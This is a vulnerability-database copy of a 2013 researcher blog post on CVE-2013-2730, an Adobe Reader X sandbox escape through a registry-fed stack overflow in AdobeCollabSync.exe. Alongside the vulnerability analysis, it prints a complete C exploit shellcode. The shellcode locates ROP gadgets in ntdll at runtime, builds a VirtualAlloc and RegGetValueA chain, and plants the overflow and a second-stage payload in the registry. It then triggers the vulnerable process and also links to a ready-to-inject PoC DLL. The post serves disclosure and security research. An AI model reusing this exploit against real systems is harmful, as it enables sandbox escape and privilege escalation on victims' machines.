Lucene search

K
binamuseFeliam ([email protected])BINAMUSE:F9F25FF8A98B0B91A26198BE57648B2E
HistoryMay 15, 2013 - 4:36 p.m.

Adobe Reader X Sandbox bypass - CVE-2013-2730

2013-05-1516:36:00
blog.binamuse.com
645

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.044 Low

EPSS

Percentile

91.4%

AdobeCollabSync stack overflow

Adobe Reader X is a powerful software solution developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF). Since version 10 it includes the Protected Mode, a sandbox technology similar to the one in Google Chrome which improves the overall security of the product.

One of the Adobe Reader X companion programs, AdobeCollabSync.exe, fails to validate the input when reading a registry value. This value can be altered from the low integrity sandboxed process. Arbitrary code execution in the context of AdobeCollabSync.exe process is proved possible after controlling certain registry key value. Quick links: White paper, Exploit and a PoC as injectable Dll.

Vulnerability Details

The issue is a sandbox bypass that enables a privilege escalation from the sandboxed low integrity process (target) to a medium integrity process (AdobeCollabSync.exe). A registry value writable from the target is read by AdobeCollabSync.exe into a stack based buffer without checking its size. A normal stack overflow occur and the control flow of a medium integrity process is controlled.

The Sandbox

Adobe reader X uses a slightly modified version of the Google Chrome sandbox. The Sandbox operates at process-level granularity. Anything that has to be sandboxed needs to live on a separate process. The minimal sandbox configuration has two processes: one that is a privileged controller known as the broker, and one or more sandboxed processes known as the target. At the beginning the main Reader process called the broker spawns a less privilege process called the target. The target can do few things by itself, so it is forced to relay most accesses to the operating system resources through the broker process using IPC. The broker receives these requests to access the different resources over IPC and then checks if the request passes a configured security policy. This policy is a set of rules established at the process start. More details on Adobe Reader Sandbox rules and exceptions can be found in this post.

The rule

The one we are interested follows:

> HKEY_CURRENT_USER\Software\Adobe\Adobe Synchronizer\10.0\* rw REGISTRY

Basically this enables the target process to read and write any value down the specified key. Now we need a process with higher integrity that reads it.

Review Tracker

The Review Tracker shipped with Adobe reader lets you manage document reviews. From this window, you can see who’s joined a shared review and how many comments they’ve published. You can also rejoin a review, access comment servers used in reviews, and email participants. This functionality is implemented using a companion program which is spawn when the tracker is open from the gui. You can access the Tracker from the Reader menu: View/Tracker… . All the gui parts run in the target process so when you click the menu item the broker is asked to spawn a AdobeCollabSync.exe process. If an attacker is able to run arbitrary code on behalf of the target process is also able to spawn as many AdobeCollabSync.exe process as needed. This is done using the function acrord_exe+0x18da0 in the target (that’s version 10.1.4).

On the AdobeCollabSync.exe process

Consider the trace of AdobeCollabSync.exe on the sysinternals process monitor when it runs normally.
It shows that AdobeCollabSync.exe reads one of the registry keys that are writable by the target process. For example the registry key: HKEY_CURRENT_USER\Software\Adobe\Adobe Synchronizer\10.0\DBRecoveryOptions\bDeleteDB Now, the functions that read the registry value are vulnerable to a stack based overflow. A screenshot of a process monitor trace follows:

Vulnerable function

The vulnerable function can be found at AdobeCollabSync.exe+9C1F0. It uses RegQueryValueRegExW to read values from the registry. The cbData parameter should indicate the size of the destination buffer. Because it is left uninitialized, RegQueryValueRegExW can write any number of bytes to the stack buffer of size 4 bytes. A stripped pseudo code of the bug is shown in the following listing.

  1. int

  2. READKEY_49C1F0(void *this, char *name, int a3) {

  3. void * namew;

  4. int cbData, Type, Data;

    1. namew = AnsiToUnicode(concat(β€œb”, name) );
  5. if ( !RegQueryValueExW(*((HKEY *)this_ + 2),

  6.                         (LPCWSTR)namew,
    
  7.                         0,
    
  8.                         &Type,
    
  9.                         (LPBYTE)&Data,
    
  10.                         &cbData) && Type == 4 ){
    
  11.   ...   // everything ok
    
  12.   return Data!=0;
    
  13. }
    
  14. … //error

  15. return a3;

  16. }

Exploitation details

The target (sandboxed process) can write arbitrary amount of data into the selected registry key and spawn any number of AdobeCollabSync.exe processes. A fresh AdobeCollabSync.exe process will read the crafted registry value unchecked into the stack producing an of-the-book stack overflow with no /GS cookie. The only constraint is there is a pointer in upper stack frame that is periodically used by a thread. This stack offset must be left unaltered. Final stack size for overflowing is about 0x500 bytes. This is enough to virtualallocate a new RXW memory and ROP a small code into it. Then a second stage shellcode can be gathered from another registry value.

ASLR

There are no fixed dlls in AdobeCollabSync.exe. Hence an attacker already on the system may learn the address of ntll and assume that the newly created process will reuse the same address. This won’t hold with BIB.dlland AXE8SharedExpad.dll. The address of VirtualProtect as well as the addresses of all other system dlls are shared among different processes. The only problem is to find the ROP gadgets that work in any version of windows. But as the attacker already has access to a copy of ntdll.dll, the gadgets may be searched at runtime and the ROP built accordingly. We use 3 simple gadgets. More can be added to make the search more robust.

HEX Assembler
C3 RET
89 0f C3 MOV dword ptr [EDI], ECX
RET
5F C3 POP EDI
RET
59 C3 POP ECX RET
Next there is the shellcode that must run in the target process. It searches for the gadgets, builds the ROP, writes to the selected registry key value and trigger the execution of AdobeCollabSync.exe.
  1. int

  2. shellcode_main(GetModuleHandle_t GetModuleHandle, GetProcAddress_t GetProcAddress){

  3. int i,j,k;
    
    1. HMODULE acrord_exe = GetModuleHandle("AcroRd32.exe");
      
  4. DoCollab_t docollab = (DoCollab_t)acrord_exe+0x18da0;
    
  5. HMODULE ntdll = GetModuleHandle("ntdll");
    
  6. HMODULE kernel32 = GetModuleHandle("kernel32");
    
  7. VirtualAlloc_t VirtualAlloc = GetProcAddress(kernel32,"VirtualAlloc");
    
  8. RegCreateKeyExA_t RegCreateKeyExA = GetProcAddress(kernel32,"RegCreateKeyExA");
    
  9. RegSetValueExA_t RegSetValueExA = GetProcAddress(kernel32,"RegSetValueExA");
    
  10. RegCloseKey_t RegCloseKey = GetProcAddress(kernel32,"RegCloseKey");
    
  11. CloseHandle_t CloseHandle = GetProcAddress(kernel32,"CloseHandle");
    
  12. ExitProcess_t ExitProcess = GetProcAddress(kernel32,"ExitProcess");
    
  13. RegGetValueA_t RegGetValueA = GetProcAddress(kernel32,"RegGetValueA");
    
  14. RegDeleteValueA_t RegDeleteValueA = GetProcAddress(kernel32,"RegDeleteValueA");
    
  15. Sleep_t Sleep = GetProcAddress(kernel32,"Sleep");
    
    1. union{
      
  16.      char c[0x1000];
    
  17.      int  i[0];
    
  18. } buffer;
    
  19. HMODULE collab_proc;
    
  20. HANDLE key = 0;
    
    1. // Search for gadgets in ntdll
      
  21. unsigned char* gadget_ret;
    
  22. unsigned char* gadget_mov_dword_edi_ecx_ret;
    
  23. unsigned char* gadget_pop_edi_ret;
    
  24. unsigned char* gadget_pop_ecx_ret;
    
    1. //Search gadget MOV DWORD [EDI], ECX; RET
      
  25. for(gadget_mov_dword_edi_ecx_ret = (unsigned char*)ntdll+0x10000;
    
  26.     gadget_mov_dword_edi_ecx_ret < (unsigned char*)ntdll+0xd6000;
    
  27.     gadget_mov_dword_edi_ecx_ret++){
    
  28.     if ( gadget_mov_dword_edi_ecx_ret[0] == 0x89 &&
    
  29.          gadget_mov_dword_edi_ecx_ret[1] == 0x0f &&
    
  30.          gadget_mov_dword_edi_ecx_ret[2] == 0xc3)
    
  31.         break;
    
  32. }
    
  33. //Search gadget RET
    
  34. gadget_ret = gadget_mov_dword_edi_ecx_ret+2;
    
    1. //Search gadget POP EDI; RET
      
  35. for(gadget_pop_edi_ret = ntdll+0x10000;
    
  36.     gadget_pop_edi_ret < ntdll+0xd6000;
    
  37.     gadget_pop_edi_ret++){
    
  38.     if ( gadget_pop_edi_ret[0] == 0x5F &&
    
  39.          gadget_pop_edi_ret[1] == 0xc3)
    
  40.         break;
    
  41. }
    
    1. //Search gadget POP ECX; RET
      
  42. for(gadget_pop_ecx_ret = ntdll+0x10000;
    
  43.     gadget_pop_ecx_ret < ntdll+0xd6000;
    
  44.     gadget_pop_ecx_ret++){
    
  45.     if ( gadget_pop_ecx_ret[0] == 0x59 &&
    
  46.          gadget_pop_ecx_ret[1] == 0xc3)
    
  47.         break;
    
  48. }
    
    1. {
      
  49.  int * mem = MEMBASE;
    
  50.  unsigned buffer_used;
    
  51.  //Make rop using BIB.dll adress (same in all proc)
    
  52.  i=0;
    
  53.  buffer.i[i++]=0x58000000+i;
    
  54.  buffer.i[i++]=0x58000000+i;
    
  55.  buffer.i[i++]=0;              //Must be zero
    
  56.  buffer.i[i++]=0x58000000+i;
    
  57.  //4
    
  58.  buffer.i[i++]=0x58000000+i;
    
  59.  buffer.i[i++]=0x58000000+i;
    
  60.  buffer.i[i++]=0x58000000+i;
    
  61.  buffer.i[i++]=gadget_ret; //<Starts here
    
  62.  //8
    
  63.  buffer.i[i++]=0x58000000+i;
    
  64.  buffer.i[i++]=0x58000000+i;
    
      1.  buffer.i[i++]=VirtualAlloc;
        
  65.  buffer.i[i++]=gadget_ret; //RET1;
    
  66.  buffer.i[i++]=mem;        // lpAddress,
    
  67.  buffer.i[i++]=0x00010000; // SIZE_T dwSize
    
  68.  buffer.i[i++]=0x00003000; // DWORD flAllocationType
    
  69.  buffer.i[i++]=0x00000040; // flProtect
    
      1.  k=0;
        
  70.  for(j=0;j<sizeof(regkey)/4+1;j+=1){
    
  71.      buffer.i[i++]=gadget_pop_edi_ret;
    
  72.      buffer.i[i++]=((int*)mem)+k++;
    
  73.      buffer.i[i++]=gadget_pop_ecx_ret;
    
  74.      buffer.i[i++]=((int*)regkey)[j];
    
  75.      buffer.i[i++]=gadget_mov_dword_edi_ecx_ret;
    
  76.  }
    
    1.  buffer.i[i++]=RegGetValueA;
      
  77.  buffer.i[i++]=(void*)mem+0x1000;           //RET
    
  78.  buffer.i[i++]=HKEY_CURRENT_USER;    //hkey
    
  79.  buffer.i[i++]=mem;                  //lpSubKey
    
  80.  buffer.i[i++]=(void*)mem+0x3a;             //lpValue
    
  81.  buffer.i[i++]=RRF_RT_ANY;           //dwFlags
    
  82.  buffer.i[i++]=0;                    //pdwType
    
  83.  buffer.i[i++]=(void*)mem+0x1000;           //pvData
    
  84.  buffer.i[i++]=(void*)mem+0x44;               //pcbData
    
    1.  buffer_used = i*sizeof(buffer.i[i]);
      
      1.  //Set up vulnerable registry key
        
  85.  RegCreateKeyExA(HKEY_CURRENT_USER,
    
  86.                  "Software\\\Adobe\\\Adobe Synchronizer\\\10.0\\\DBRecoveryOptions\\\",
    
  87.                  0 /*reserved*/,
    
  88.                  NULL /*lpclass*/,
    
  89.                  REG_OPTION_NON_VOLATILE /*Options*/,
    
  90.                  KEY_ALL_ACCESS /*samDesired*/,
    
  91.                  NULL /*SecurityAttribs*/,
    
  92.                  &key,
    
  93.                  NULL); //if not ERROR_SUCCES bail out
    
  94.  RegSetValueExA(key,"bDeleteDB", 0, REG_BINARY,buffer.c,buffer_used);
    
  95.  RegSetValueExA(key,"shellcode", 0, REG_BINARY,stage2,sizeof(stage2));
    
  96.  RegCloseKey(key);
    
    1.  // Tell the broker to execute AdobeCollabSync
      
  97.  collab_proc = docollab(0xbc);
    
    1.  // Sleep
      
  98.  Sleep(1000);
    
    1.  // Close collab_proc
      
  99.  CloseHandle(collab_proc);
    
    1.  // Clean registry
      
  100.  // RegSetValue
    
  101.  RegCreateKeyExA(HKEY_CURRENT_USER,
    
  102.                  "Software\\\Adobe\\\Adobe Synchronizer\\\10.0\\\DBRecoveryOptions\\\",
    
  103.                  0 /*reserved*/,
    
  104.                  NULL /*lpclass*/,
    
  105.                  REG_OPTION_NON_VOLATILE /*Options*/,
    
  106.                  KEY_ALL_ACCESS /*samDesired*/,
    
  107.                  NULL /*SecurityAttribs*/,
    
  108.                  &key,
    
  109.                  NULL); //if not ERROR_SUCCES bail out
    
  110.  //RegSetValueExA(key,"bDeleteDB", 0, REG_BINARY,buffer.c,0x4);
    
  111.  RegDeleteValueA(key, "shellcode");
    
  112.  RegDeleteValueA(key, "bDeleteDB");
    
  113.  RegCloseKey(key);
    
    1.  // Sleep
      
  114.  Sleep(1000);
    
    1.  // TODO: check success
      
  115.  ExitProcess(0);
    
  116.  //retry or spawn other target?
    
  117. }
    
  118. }

To compile and pack this C code as an opaque executable chunk of memory (or shellcode) apply this. Using the awesome Stephen Fewer’s ReflectiveDLLInjectionproject we can easly compile an injectable dll with this shellcode as payload. You can download a ready to use PoC dll from here. Note that this shellcode expects to get the address of GetModuleHandle and GetProcAddress functions as parameters (this are typically already known at ROP stage). Injecting this dll into the low integrity reader process will escape the sandbox and spawn a calculator. Next couple of figures are screenshots of an example run of the injected dll. Adobe reader runs a medium and a low integrity process:
Shellcode dll injected into the low integrity process:
Medium integrity calculator spawn:

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.044 Low

EPSS

Percentile

91.4%